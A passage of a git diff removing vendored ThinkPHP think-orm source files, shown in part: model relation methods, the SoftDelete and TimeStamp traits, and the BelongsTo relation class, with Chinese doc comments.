$subRelation = $relation; - $relation = $key; - } elseif (strpos($relation, '.')) { - [$relation, $subRelation] = explode('.', $relation, 2); - } - - $method = Str::camel($relation); - $relationName = Str::snake($relation); - - $relationResult = $this->$method(); - - if (isset($withRelationAttr[$relationName])) { - $relationResult->withAttr($withRelationAttr[$relationName]); - } - - $this->relation[$relation] = $relationResult->getRelation($subRelation, $closure); - } - } - - /** - * 关联数据写入 - * @access public - * @param array $relation 关联 - * @return $this - */ - public function together(array $relation) - { - $this->together = $relation; - - $this->checkAutoRelationWrite(); - - return $this; - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $relation 关联方法名 - * @param mixed $operator 比较操作符 - * @param integer $count 个数 - * @param string $id 关联表的统计字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public static function has(string $relation, string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null): Query - { - return (new static()) - ->$relation() - ->has($operator, $count, $id, $joinType, $query); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $relation 关联方法名 - * @param mixed $where 查询条件(数组或者闭包) - * @param mixed $fields 字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public static function hasWhere(string $relation, $where = [], string $fields = '*', string $joinType = '', Query $query = null): Query - { - return (new static()) - ->$relation() - ->hasWhere($where, $fields, $joinType, $query); - } - - /** - * 预载入关联查询 JOIN方式 - * @access public - * @param Query $query Query对象 - * @param string $relation 关联方法名 - * @param mixed $field 字段 - * @param string $joinType JOIN类型 - * @param Closure $closure 闭包 - * @param bool $first - * @return bool - */ - public function eagerly(Query $query, string $relation, $field, string $joinType = '', Closure $closure = null, bool $first = false): bool - { - $relation = Str::camel($relation); - $class = $this->$relation(); - - if ($class instanceof OneToOne) { - $class->eagerly($query, $relation, $field, $joinType, $closure, $first); - return true; - } else { - return false; - } - } - - /** - * 预载入关联查询 返回数据集 - * @access public - * @param array $resultSet 数据集 - * @param string $relation 关联名 - * @param array $withRelationAttr 关联获取器 - * @param bool $join 是否为JOIN方式 - * @param mixed $cache 关联缓存 - * @return void - */ - public function eagerlyResultSet(array &$resultSet, array $relations, array $withRelationAttr = [], bool $join = false, $cache = false): void - { - foreach ($relations as $key => $relation) { - $subRelation = []; - $closure = null; - - if ($relation instanceof Closure) { - $closure = $relation; - $relation = $key; - } - - if (is_array($relation)) { - $subRelation = $relation; - $relation = $key; - } elseif (strpos($relation, '.')) { - [$relation, $subRelation] = explode('.', $relation, 2); - - $subRelation = [$subRelation]; - } - - $relationName = $relation; - $relation = Str::camel($relation); - - $relationResult = $this->$relation(); - - if (isset($withRelationAttr[$relationName])) { - $relationResult->withAttr($withRelationAttr[$relationName]); - } - - if (is_scalar($cache)) { - $relationCache = [$cache]; - } else { - $relationCache = $cache[$relationName] ?? $cache; - } - - $relationResult->eagerlyResultSet($resultSet, $relationName, $subRelation, $closure, $relationCache, $join); - } - } - - /** - * 预载入关联查询 返回模型对象 - * @access public - * @param Model $result 数据对象 - * @param array $relations 关联 - * @param array $withRelationAttr 关联获取器 - * @param bool $join 是否为JOIN方式 - * @param mixed $cache 关联缓存 - * @return void - */ - public function eagerlyResult(Model $result, array $relations, array $withRelationAttr = [], bool $join = false, $cache = false): void - { - foreach ($relations as $key => $relation) { - $subRelation = []; - $closure = null; - - if ($relation instanceof Closure) { - $closure = $relation; - $relation = $key; - } - - if (is_array($relation)) { - $subRelation = $relation; - $relation = $key; - } elseif (strpos($relation, '.')) { - [$relation, $subRelation] = explode('.', $relation, 2); - - $subRelation = [$subRelation]; - } - - $relationName = $relation; - $relation = Str::camel($relation); - - $relationResult = $this->$relation(); - - if (isset($withRelationAttr[$relationName])) { - $relationResult->withAttr($withRelationAttr[$relationName]); - } - - if (is_scalar($cache)) { - $relationCache = [$cache]; - } else { - $relationCache = $cache[$relationName] ?? []; - } - - $relationResult->eagerlyResult($result, $relationName, $subRelation, $closure, $relationCache, $join); - } - } - - /** - * 绑定(一对一)关联属性到当前模型 - * @access protected - * @param string $relation 关联名称 - * @param array $attrs 绑定属性 - * @return $this - * @throws Exception - */ - public function bindAttr(string $relation, array $attrs = []) - { - $relation = $this->getRelation($relation); - - foreach ($attrs as $key => $attr) { - $key = is_numeric($key) ? $attr : $key; - $value = $this->getOrigin($key); - - if (!is_null($value)) { - throw new Exception('bind attr has exists:' . $key); - } - - $this->set($key, $relation ? $relation->$attr : null); - } - - return $this; - } - - /** - * 关联统计 - * @access public - * @param Query $query 查询对象 - * @param array $relations 关联名 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param bool $useSubQuery 子查询 - * @return void - */ - public function relationCount(Query $query, array $relations, string $aggregate = 'sum', string $field = '*', bool $useSubQuery = true): void - { - foreach ($relations as $key => $relation) { - $closure = $name = null; - - if ($relation instanceof Closure) { - $closure = $relation; - $relation = $key; - } elseif (is_string($key)) { - $name = $relation; - $relation = $key; - } - - $relation = Str::camel($relation); - - if ($useSubQuery) { - $count = $this->$relation()->getRelationCountQuery($closure, $aggregate, $field, $name); - } else { - $count = $this->$relation()->relationCount($this, $closure, $aggregate, $field, $name); - } - - if (empty($name)) { - $name = Str::snake($relation) . '_' . $aggregate; - } - - if ($useSubQuery) { - $query->field(['(' . $count . ')' => $name]); - } else { - $this->setAttr($name, $count); - } - } - } - - /** - * HAS ONE 关联定义 - * @access public - * @param string $model 模型名 - * @param string $foreignKey 关联外键 - * @param string $localKey 当前主键 - * @return HasOne - */ - public function hasOne(string $model, string $foreignKey = '', string $localKey = ''): HasOne - { - // 记录当前关联信息 - $model = $this->parseModel($model); - $localKey = $localKey ?: $this->getPk(); - $foreignKey = $foreignKey ?: $this->getForeignKey($this->name); - - return new HasOne($this, $model, $foreignKey, $localKey); - } - - /** - * BELONGS TO 关联定义 - * @access public - * @param string $model 模型名 - * @param string $foreignKey 关联外键 - * @param string $localKey 关联主键 - * @return BelongsTo - */ - public function belongsTo(string $model, string $foreignKey = '', string $localKey = ''): BelongsTo - { - // 记录当前关联信息 - $model = $this->parseModel($model); - $foreignKey = $foreignKey ?: $this->getForeignKey((new $model)->getName()); - $localKey = $localKey ?: (new $model)->getPk(); - $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); - $relation = Str::snake($trace[1]['function']); - - return new BelongsTo($this, $model, $foreignKey, $localKey, $relation); - } - - /** - * HAS MANY 关联定义 - * @access public - * @param string $model 模型名 - * @param string $foreignKey 关联外键 - * @param string $localKey 当前主键 - * @return HasMany - */ - public function hasMany(string $model, string $foreignKey = '', string $localKey = ''): HasMany - { - // 记录当前关联信息 - $model = $this->parseModel($model); - $localKey = $localKey ?: $this->getPk(); - $foreignKey = $foreignKey ?: $this->getForeignKey($this->name); - - return new HasMany($this, $model, $foreignKey, $localKey); - } - - /** - * HAS MANY 远程关联定义 - * @access public - * @param string $model 模型名 - * @param string $through 中间模型名 - * @param string $foreignKey 关联外键 - * @param string $throughKey 关联外键 - * @param string $localKey 当前主键 - * @param string $throughPk 中间表主键 - * @return HasManyThrough - */ - public function hasManyThrough(string $model, string $through, string $foreignKey = '', string $throughKey = '', string $localKey = '', string $throughPk = ''): HasManyThrough - { - // 记录当前关联信息 - $model = $this->parseModel($model); - $through = $this->parseModel($through); - $localKey = $localKey ?: $this->getPk(); - $foreignKey = $foreignKey ?: $this->getForeignKey($this->name); - $throughKey = $throughKey ?: $this->getForeignKey((new $through)->getName()); - $throughPk = $throughPk ?: (new $through)->getPk(); - - return new HasManyThrough($this, $model, $through, $foreignKey, $throughKey, $localKey, $throughPk); - } - - /** - * HAS ONE 远程关联定义 - * @access public - * @param string $model 模型名 - * @param string $through 中间模型名 - * @param string $foreignKey 关联外键 - * @param string $throughKey 关联外键 - * @param string $localKey 当前主键 - * @param string $throughPk 中间表主键 - * @return HasOneThrough - */ - public function hasOneThrough(string $model, string $through, string $foreignKey = '', string $throughKey = '', string $localKey = '', string $throughPk = ''): HasOneThrough - { - // 记录当前关联信息 - $model = $this->parseModel($model); - $through = $this->parseModel($through); - $localKey = $localKey ?: $this->getPk(); - $foreignKey = $foreignKey ?: $this->getForeignKey($this->name); - $throughKey = $throughKey ?: $this->getForeignKey((new $through)->getName()); - $throughPk = $throughPk ?: (new $through)->getPk(); - - return new HasOneThrough($this, $model, $through, $foreignKey, $throughKey, $localKey, $throughPk); - } - - /** - * BELONGS TO MANY 关联定义 - * @access public - * @param string $model 模型名 - * @param string $middle 中间表/模型名 - * @param string $foreignKey 关联外键 - * @param string $localKey 当前模型关联键 - * @return BelongsToMany - */ - public function belongsToMany(string $model, string $middle = '', string $foreignKey = '', string $localKey = ''): BelongsToMany - { - // 记录当前关联信息 - $model = $this->parseModel($model); - $name = Str::snake(class_basename($model)); - $middle = $middle ?: Str::snake($this->name) . '_' . $name; - $foreignKey = $foreignKey ?: $name . '_id'; - $localKey = $localKey ?: $this->getForeignKey($this->name); - - return new BelongsToMany($this, $model, $middle, $foreignKey, $localKey); - } - - /** - * MORPH One 关联定义 - * @access public - * @param string $model 模型名 - * @param string|array $morph 多态字段信息 - * @param string $type 多态类型 - * @return MorphOne - */ - public function morphOne(string $model, $morph = null, string $type = ''): MorphOne - { - // 记录当前关联信息 - $model = $this->parseModel($model); - - if (is_null($morph)) { - $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); - $morph = Str::snake($trace[1]['function']); - } - - if (is_array($morph)) { - [$morphType, $foreignKey] = $morph; - } else { - $morphType = $morph . '_type'; - $foreignKey = $morph . '_id'; - } - - $type = $type ?: get_class($this); - - return new MorphOne($this, $model, $foreignKey, $morphType, $type); - } - - /** - * MORPH MANY 关联定义 - * @access public - * @param string $model 模型名 - * @param string|array $morph 多态字段信息 - * @param string $type 多态类型 - * @return MorphMany - */ - public function morphMany(string $model, $morph = null, string $type = ''): MorphMany - { - // 记录当前关联信息 - $model = $this->parseModel($model); - - if (is_null($morph)) { - $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); - $morph = Str::snake($trace[1]['function']); - } - - $type = $type ?: get_class($this); - - if (is_array($morph)) { - [$morphType, $foreignKey] = $morph; - } else { - $morphType = $morph . '_type'; - $foreignKey = $morph . '_id'; - } - - return new MorphMany($this, $model, $foreignKey, $morphType, $type); - } - - /** - * MORPH TO 关联定义 - * @access public - * @param string|array $morph 多态字段信息 - * @param array $alias 多态别名定义 - * @return MorphTo - */ - public function morphTo($morph = null, array $alias = []): MorphTo - { - $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); - $relation = Str::snake($trace[1]['function']); - - if (is_null($morph)) { - $morph = $relation; - } - - // 记录当前关联信息 - if (is_array($morph)) { - [$morphType, $foreignKey] = $morph; - } else { - $morphType = $morph . '_type'; - $foreignKey = $morph . '_id'; - } - - return new MorphTo($this, $morphType, $foreignKey, $alias, $relation); - } - - /** - * MORPH TO MANY关联定义 - * @access public - * @param string $model 模型名 - * @param string $middle 中间表名/模型名 - * @param string|array $morph 多态字段信息 - * @param string $localKey 当前模型关联键 - * @return MorphToMany - */ - public function morphToMany(string $model, string $middle, $morph = null, string $localKey = null): MorphToMany - { - if (is_null($morph)) { - $morph = $middle; - } - - // 记录当前关联信息 - if (is_array($morph)) { - [$morphType, $morphKey] = $morph; - } else { - $morphType = $morph . '_type'; - $morphKey = $morph . '_id'; - } - - $model = $this->parseModel($model); - $name = Str::snake(class_basename($model)); - $localKey = $localKey ?: $this->getForeignKey($name); - - return new MorphToMany($this, $model, $middle, $morphType, $morphKey, $localKey); - } - - /** - * MORPH BY MANY关联定义 - * @access public - * @param string $model 模型名 - * @param string $middle 中间表名/模型名 - * @param string|array $morph 多态字段信息 - * @param string $foreignKey 关联外键 - * @return MorphToMany - */ - public function morphByMany(string $model, string $middle, $morph = null, string $foreignKey = null): MorphToMany - { - if (is_null($morph)) { - $morph = $middle; - } - - // 记录当前关联信息 - if (is_array($morph)) { - [$morphType, $morphKey] = $morph; - } else { - $morphType = $morph . '_type'; - $morphKey = $morph . '_id'; - } - - $model = $this->parseModel($model); - $foreignKey = $foreignKey ?: $this->getForeignKey($this->name); - - return new MorphToMany($this, $model, $middle, $morphType, $morphKey, $foreignKey, true); - } - - /** - * 解析模型的完整命名空间 - * @access protected - * @param string $model 模型名(或者完整类名) - * @return string - */ - protected function parseModel(string $model): string - { - if (false === strpos($model, '\\')) { - $path = explode('\\', static::class); - array_pop($path); - array_push($path, Str::studly($model)); - $model = implode('\\', $path); - } - - return $model; - } - - /** - * 获取模型的默认外键名 - * @access protected - * @param string $name 模型名 - * @return string - */ - protected function getForeignKey(string $name): string - { - if (strpos($name, '\\')) { - $name = class_basename($name); - } - - return Str::snake($name) . '_id'; - } - - /** - * 检查属性是否为关联属性 如果是则返回关联方法名 - * @access protected - * @param string $attr 关联属性名 - * @return string|false - */ - protected function isRelationAttr(string $attr) - { - $relation = Str::camel($attr); - - if ((method_exists($this, $relation) && !method_exists('think\Model', $relation)) || isset(static::$macro[static::class][$relation])) { - return $relation; - } - - return false; - } - - /** - * 智能获取关联模型数据 - * @access protected - * @param Relation $modelRelation 模型关联对象 - * @return mixed - */ - protected function getRelationData(Relation $modelRelation) - { - if ($this->parent && !$modelRelation->isSelfRelation() - && get_class($this->parent) == get_class($modelRelation->getModel())) { - return $this->parent; - } - - // 获取关联数据 - return $modelRelation->getRelation(); - } - - /** - * 关联数据自动写入检查 - * @access protected - * @return void - */ - protected function checkAutoRelationWrite(): void - { - foreach ($this->together as $key => $name) { - if (is_array($name)) { - if (key($name) === 0) { - $this->relationWrite[$key] = []; - // 绑定关联属性 - foreach ($name as $val) { - if (isset($this->data[$val])) { - $this->relationWrite[$key][$val] = $this->data[$val]; - } - } - } else { - // 直接传入关联数据 - $this->relationWrite[$key] = $name; - } - } elseif (isset($this->relation[$name])) { - $this->relationWrite[$name] = $this->relation[$name]; - } elseif (isset($this->data[$name])) { - $this->relationWrite[$name] = $this->data[$name]; - unset($this->data[$name]); - } - } - } - - /** - * 自动关联数据更新(针对一对一关联) - * @access protected - * @return void - */ - protected function autoRelationUpdate(): void - { - foreach ($this->relationWrite as $name => $val) { - if ($val instanceof Model) { - $val->exists(true)->save(); - } else { - $model = $this->getRelation($name, true); - - if ($model instanceof Model) { - $model->exists(true)->save($val); - } - } - } - } - - /** - * 自动关联数据写入(针对一对一关联) - * @access protected - * @return void - */ - protected function autoRelationInsert(): void - { - foreach ($this->relationWrite as $name => $val) { - $method = Str::camel($name); - $this->$method()->save($val); - } - } - - /** - * 自动关联数据删除(支持一对一及一对多关联) - * @access protected - * @return void - */ - protected function autoRelationDelete(): void - { - foreach ($this->relationWrite as $key => $name) { - $name = is_numeric($key) ? $name : $key; - $result = $this->getRelation($name, true); - - if ($result instanceof Model) { - $result->delete(); - } elseif ($result instanceof Collection) { - foreach ($result as $model) { - $model->delete(); - } - } - } - } - - /** - * 移除当前模型的关联属性 - * @access public - * @return $this - */ - public function removeRelation() - { - $this->relation = []; - return $this; - } -} diff --git a/vendor/topthink/think-orm/src/model/concern/SoftDelete.php b/vendor/topthink/think-orm/src/model/concern/SoftDelete.php deleted file mode 100644 index ce5d392..0000000 --- a/vendor/topthink/think-orm/src/model/concern/SoftDelete.php +++ /dev/null @@ -1,248 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model\concern; - -use think\db\BaseQuery as Query; -use think\Model; - -/** - * 数据软删除 - * @mixin Model - */ -trait SoftDelete -{ - /** - * 是否包含软删除数据 - * @var bool - */ - protected $withTrashed = false; - - /** - * 判断当前实例是否被软删除 - * @access public - * @return bool - */ - public function trashed(): bool - { - $field = $this->getDeleteTimeField(); - - if ($field && !empty($this->getOrigin($field))) { - return true; - } - - return false; - } - - /** - * 查询软删除数据 - * @access public - * @return Query - */ - public static function withTrashed(): Query - { - $model = new static(); - - return $model->withTrashedData(true)->db(); - } - - /** - * 是否包含软删除数据 - * @access protected - * @param bool $withTrashed 是否包含软删除数据 - * @return $this - */ - protected function withTrashedData(bool $withTrashed) - { - $this->withTrashed = $withTrashed; - return $this; - } - - /** - * 只查询软删除数据 - * @access public - * @return Query - */ - public static function onlyTrashed(): Query - { - $model = new static(); - $field = $model->getDeleteTimeField(true); - - if ($field) { - return $model - ->db() - ->useSoftDelete($field, $model->getWithTrashedExp()); - } - - return $model->db(); - } - - /** - * 获取软删除数据的查询条件 - * @access protected - * @return array - */ - protected function getWithTrashedExp(): array - { - return is_null($this->defaultSoftDelete) ? ['notnull', ''] : ['<>', $this->defaultSoftDelete]; - } - - /** - * 删除当前的记录 - * @access public - * @return bool - */ - public function delete(): bool - { - if (!$this->isExists() || $this->isEmpty() || false === $this->trigger('BeforeDelete')) { - return false; - } - - $name = $this->getDeleteTimeField(); - - if ($name && !$this->isForce()) { - // 软删除 - $this->set($name, $this->autoWriteTimestamp($name)); - - $result = $this->exists()->withEvent(false)->save(); - - $this->withEvent(true); - } else { - // 读取更新条件 - $where = $this->getWhere(); - - // 删除当前模型数据 - $result = $this->db() - ->where($where) - ->removeOption('soft_delete') - ->delete(); - - $this->lazySave(false); - } - - // 关联删除 - if (!empty($this->relationWrite)) { - $this->autoRelationDelete(); - } - - $this->trigger('AfterDelete'); - - $this->exists(false); - - return true; - } - - /** - * 删除记录 - * @access public - * @param mixed $data 主键列表 支持闭包查询条件 - * @param bool $force 是否强制删除 - * @return bool - */ - public static function destroy($data, bool $force = false): bool - { - // 包含软删除数据 - $query = (new static())->withTrashedData(true)->db(false); - - if (is_array($data) && key($data) !== 0) { - $query->where($data); - $data = null; - } elseif ($data instanceof \Closure) { - call_user_func_array($data, [ & $query]); - $data = null; - } elseif (is_null($data)) { - return false; - } - - $resultSet = $query->select($data); - - foreach ($resultSet as $result) { - $result->force($force)->delete(); - } - - return true; - } - - /** - * 恢复被软删除的记录 - * @access public - * @param array $where 更新条件 - * @return bool - */ - public function restore($where = []): bool - { - $name = $this->getDeleteTimeField(); - - if (!$name || false === $this->trigger('BeforeRestore')) { - return false; - } - - if (empty($where)) { - $pk = $this->getPk(); - if (is_string($pk)) { - $where[] = [$pk, '=', $this->getData($pk)]; - } - } - - // 恢复删除 - $this->db(false) - ->where($where) - ->useSoftDelete($name, $this->getWithTrashedExp()) - ->update([$name => $this->defaultSoftDelete]); - - $this->trigger('AfterRestore'); - - return true; - } - - /** - * 获取软删除字段 - * @access protected - * @param bool $read 是否查询操作 写操作的时候会自动去掉表别名 - * @return string|false - */ - protected function getDeleteTimeField(bool $read = false) - { - $field = property_exists($this, 'deleteTime') && isset($this->deleteTime) ? $this->deleteTime : 'delete_time'; - - if (false === $field) { - return false; - } - - if (false === strpos($field, '.')) { - $field = '__TABLE__.' . $field; - } - - if (!$read && strpos($field, '.')) { - $array = explode('.', $field); - $field = array_pop($array); - } - - return $field; - } - - /** - * 查询的时候默认排除软删除数据 - * @access protected - * @param Query $query - * @return void - */ - protected function withNoTrashed(Query $query): void - { - $field = $this->getDeleteTimeField(true); - - if ($field) { - $condition = is_null($this->defaultSoftDelete) ? ['null', ''] : ['=', $this->defaultSoftDelete]; - $query->useSoftDelete($field, $condition); - } - } -} diff --git a/vendor/topthink/think-orm/src/model/concern/TimeStamp.php b/vendor/topthink/think-orm/src/model/concern/TimeStamp.php deleted file mode 100644 index e207961..0000000 --- a/vendor/topthink/think-orm/src/model/concern/TimeStamp.php +++ /dev/null @@ -1,208 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model\concern; - -use DateTime; - -/** - * 自动时间戳 - */ -trait TimeStamp -{ - /** - * 是否需要自动写入时间戳 如果设置为字符串 则表示时间字段的类型 - * @var bool|string - */ - protected $autoWriteTimestamp; - - /** - * 创建时间字段 false表示关闭 - * @var false|string - */ - protected $createTime = 'create_time'; - - /** - * 更新时间字段 false表示关闭 - * @var false|string - */ - protected $updateTime = 'update_time'; - - /** - * 时间字段显示格式 - * @var string - */ - protected $dateFormat; - - /** - * 是否需要自动写入时间字段 - * @access public - * @param bool|string $auto - * @return $this - */ - public function isAutoWriteTimestamp($auto) - { - $this->autoWriteTimestamp = $this->checkTimeFieldType($auto); - - return $this; - } - - /** - * 检测时间字段的实际类型 - * @access public - * @param bool|string $type - * @return mixed - */ - protected function checkTimeFieldType($type) - { - if (true === $type) { - if (isset($this->type[$this->createTime])) { - $type = $this->type[$this->createTime]; - } elseif (isset($this->schema[$this->createTime]) && in_array($this->schema[$this->createTime], ['datetime', 'date', 'timestamp', 'int'])) { - $type = $this->schema[$this->createTime]; - } else { - $type = $this->getFieldType($this->createTime); - } - } - - return $type; - } - - /** - * 获取自动写入时间字段 - * @access public - * @return bool|string - */ - public function getAutoWriteTimestamp() - { - return $this->autoWriteTimestamp; - } - - /** - * 设置时间字段格式化 - * @access public - * @param string|false $format - * @return $this - */ - public function setDateFormat($format) - { - $this->dateFormat = $format; - - return $this; - } - - /** - * 获取自动写入时间字段 - * @access public - * @return string|false - */ - public function getDateFormat() - { - return $this->dateFormat; - } - - /** - * 自动写入时间戳 - * @access protected - * @return mixed - */ - protected function autoWriteTimestamp() - { - // 检测时间字段类型 - $type = $this->checkTimeFieldType($this->autoWriteTimestamp); - - return is_string($type) ? $this->getTimeTypeValue($type) : time(); - } - - /** - * 获取指定类型的时间字段值 - * @access protected - * @param string $type 时间字段类型 - * @return mixed - */ - protected function getTimeTypeValue(string $type) - { - $value = time(); - - switch ($type) { - case 'datetime': - case 'date': - case 'timestamp': - $value = $this->formatDateTime('Y-m-d H:i:s.u'); - break; - default: - if (false !== strpos($type, '\\')) { - // 对象数据写入 - $obj = new $type(); - if (method_exists($obj, '__toString')) { - // 对象数据写入 - $value = $obj->__toString(); - } - } - } - - return $value; - } - - /** - * 时间日期字段格式化处理 - * @access protected - * @param mixed $format 日期格式 - * @param mixed $time 时间日期表达式 - * @param bool $timestamp 时间表达式是否为时间戳 - * @return mixed - */ - protected function formatDateTime($format, $time = 'now', bool $timestamp = false) - { - if (empty($time)) { - return; - } - - if (false === $format) { - return $time; - } elseif (false !== strpos($format, '\\')) { - return new $format($time); - } - - if ($time instanceof DateTime) { - $dateTime = $time; - } elseif ($timestamp) { - $dateTime = new DateTime(); - $dateTime->setTimestamp((int) $time); - } else { - $dateTime = new DateTime($time); - } - - return $dateTime->format($format); - } - - /** - * 获取时间字段值 - * @access protected - * @param mixed $value - * @return mixed - */ - protected function getTimestampValue($value) - { - $type = $this->checkTimeFieldType($this->autoWriteTimestamp); - - if (is_string($type) && in_array(strtolower($type), [ - 'datetime', 'date', 'timestamp', - ])) { - $value = $this->formatDateTime($this->dateFormat, $value); - } else { - $value = $this->formatDateTime($this->dateFormat, $value, true); - } - - return $value; - } -} diff --git a/vendor/topthink/think-orm/src/model/relation/BelongsTo.php b/vendor/topthink/think-orm/src/model/relation/BelongsTo.php deleted file mode 100644 index 789c944..0000000 --- a/vendor/topthink/think-orm/src/model/relation/BelongsTo.php +++ /dev/null @@ -1,331 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model\relation; - -use Closure; -use think\db\BaseQuery as Query; -use think\helper\Str; -use think\Model; - -/** - * BelongsTo关联类 - */ -class BelongsTo extends OneToOne -{ - /** - * 架构函数 - * @access public - * @param Model $parent 上级模型对象 - * @param string $model 模型名 - * @param string $foreignKey 关联外键 - * @param string $localKey 关联主键 - * @param string $relation 关联名 - */ - public function __construct(Model $parent, string $model, string $foreignKey, string $localKey, string $relation = null) - { - $this->parent = $parent; - $this->model = $model; - $this->foreignKey = $foreignKey; - $this->localKey = $localKey; - $this->query = (new $model)->db(); - $this->relation = $relation; - - if (get_class($parent) == $model) { - $this->selfRelation = true; - } - } - - /** - * 延迟获取关联数据 - * @access public - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包查询条件 - * @return Model - */ - public function getRelation(array $subRelation = [], Closure $closure = null) - { - if ($closure) { - $closure($this->getClosureType($closure)); - } - - $foreignKey = $this->foreignKey; - - $relationModel = $this->query - ->removeWhereField($this->localKey) - ->where($this->localKey, $this->parent->$foreignKey) - ->relation($subRelation) - ->find(); - - if ($relationModel) { - if (!empty($this->bindAttr)) { - // 绑定关联属性 - $this->bindAttr($this->parent, $relationModel); - } - - $relationModel->setParent(clone $this->parent); - } - - return $relationModel; - } - - /** - * 创建关联统计子查询 - * @access public - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 聚合字段别名 - * @return string - */ - public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', &$name = ''): string - { - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->query - ->whereExp($this->localKey, '=' . $this->parent->getTable() . '.' . $this->foreignKey) - ->fetchSql() - ->$aggregate($field); - } - - /** - * 关联统计 - * @access public - * @param Model $result 数据对象 - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return integer - */ - public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null) - { - $foreignKey = $this->foreignKey; - - if (!isset($result->$foreignKey)) { - return 0; - } - - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->query - ->where($this->localKey, '=', $result->$foreignKey) - ->$aggregate($field); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $operator 比较操作符 - * @param integer $count 个数 - * @param string $id 关联表的统计字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null): Query - { - $table = $this->query->getTable(); - $model = class_basename($this->parent); - $relation = class_basename($this->model); - $localKey = $this->localKey; - $foreignKey = $this->foreignKey; - $softDelete = $this->query->getOptions('soft_delete'); - $query = $query ?: $this->parent->db()->alias($model); - - return $query->whereExists(function ($query) use ($table, $model, $relation, $localKey, $foreignKey, $softDelete) { - $query->table([$table => $relation]) - ->field($relation . '.' . $localKey) - ->whereExp($model . '.' . $foreignKey, '=' . $relation . '.' . $localKey) - ->when($softDelete, function ($query) use ($softDelete, $relation) { - $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); - }); - }); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param mixed $where 查询条件(数组或者闭包) - * @param mixed $fields 字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null): Query - { - $table = $this->query->getTable(); - $model = class_basename($this->parent); - $relation = class_basename($this->model); - - if (is_array($where)) { - $this->getQueryWhere($where, $relation); - } elseif ($where instanceof Query) { - $where->via($relation); - } elseif ($where instanceof Closure) { - $where($this->query->via($relation)); - $where = $this->query; - } - - $fields = $this->getRelationQueryFields($fields, $model); - $softDelete = $this->query->getOptions('soft_delete'); - $query = $query ?: $this->parent->db()->alias($model); - - return $query->field($fields) - ->join([$table => $relation], $model . '.' . $this->foreignKey . '=' . $relation . '.' . $this->localKey, $joinType ?: $this->joinType) - ->when($softDelete, function ($query) use ($softDelete, $relation) { - $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); - }) - ->where($where); - } - - /** - * 预载入关联查询(数据集) - * @access protected - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - protected function eagerlySet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - $localKey = $this->localKey; - $foreignKey = $this->foreignKey; - - $range = []; - foreach ($resultSet as $result) { - // 获取关联外键列表 - if (isset($result->$foreignKey)) { - $range[] = $result->$foreignKey; - } - } - - if (!empty($range)) { - $this->query->removeWhereField($localKey); - - $data = $this->eagerlyWhere([ - [$localKey, 'in', $range], - ], $localKey, $subRelation, $closure, $cache); - - // 关联数据封装 - foreach ($resultSet as $result) { - // 关联模型 - if (!isset($data[$result->$foreignKey])) { - $relationModel = null; - } else { - $relationModel = $data[$result->$foreignKey]; - $relationModel->setParent(clone $result); - $relationModel->exists(true); - } - - if (!empty($this->bindAttr)) { - // 绑定关联属性 - $this->bindAttr($result, $relationModel); - } else { - // 设置关联属性 - $result->setRelation($relation, $relationModel); - } - } - } - } - - /** - * 预载入关联查询(数据) - * @access protected - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - protected function eagerlyOne(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - $localKey = $this->localKey; - $foreignKey = $this->foreignKey; - - $this->query->removeWhereField($localKey); - - $data = $this->eagerlyWhere([ - [$localKey, '=', $result->$foreignKey], - ], $localKey, $subRelation, $closure, $cache); - - // 关联模型 - if (!isset($data[$result->$foreignKey])) { - $relationModel = null; - } else { - $relationModel = $data[$result->$foreignKey]; - $relationModel->setParent(clone $result); - $relationModel->exists(true); - } - - if (!empty($this->bindAttr)) { - // 绑定关联属性 - $this->bindAttr($result, $relationModel); - } else { - // 设置关联属性 - $result->setRelation($relation, $relationModel); - } - } - - /** - * 添加关联数据 - * @access public - * @param Model $model关联模型对象 - * @return Model - */ - public function associate(Model $model): Model - { - $this->parent->setAttr($this->foreignKey, $model->getKey()); - $this->parent->save(); - - return $this->parent->setRelation($this->relation, $model); - } - - /** - * 注销关联数据 - * @access public - * @return Model - */ - public function dissociate(): Model - { - $foreignKey = $this->foreignKey; - - $this->parent->setAttr($foreignKey, null); - $this->parent->save(); - - return $this->parent->setRelation($this->relation, null); - } - - /** - * 